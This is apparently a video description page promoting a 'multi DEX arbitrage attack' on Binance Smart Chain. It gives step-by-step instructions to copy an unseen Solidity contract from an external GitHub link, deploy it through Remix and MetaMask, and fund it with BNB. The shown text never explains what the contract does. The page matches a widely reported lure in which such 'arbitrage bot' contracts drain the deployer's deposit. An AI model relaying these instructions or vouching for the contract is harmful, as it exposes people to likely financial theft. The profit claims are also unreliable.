BNB - Binance Smart Chain: Amazing Multi DEX arbitrage attack on BSC using Metamask and Solidity

2 years ago
12

In this video you will see a multi DEX arbitrage attack between pancakeswap and bakeryswap. Be sure to have some BNB in your wallet to fund gas fees. Code has been updated recently and is good to go.

REMEMBER : In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask, otherwise it will not work.

***Note: BNB must be withdrawn to ‘Binance Smart Chain’. which is EVM/Metamask compatible chain

Setup Metamask to connect to Binance Smart Chain (BSC) – https://academy.binance.com/ar/articles/connecting-metamask-to-binance-smart-chain?fromActivity=1

Smart Contract Code Link – https://raw.githubusercontent.com/MTFinance/Contracts/main/bscArbitrage.sol

Remix Link – http://remix.ethereum.org/

Arbitrage Explanation - https://academy.binance.com/en/articles/what-is-arbitrage-trading

STE:

Before starting, install and setup MetaMask in Chrome Browser.

1. Open and setup Remix in browser (https://remix.ethereum.org)

2. Copy the Contract code (https://raw.githubusercontent.com/MTFinance/Contracts/main/bscArbitrage.sol)

3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.

4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract

Loading comments...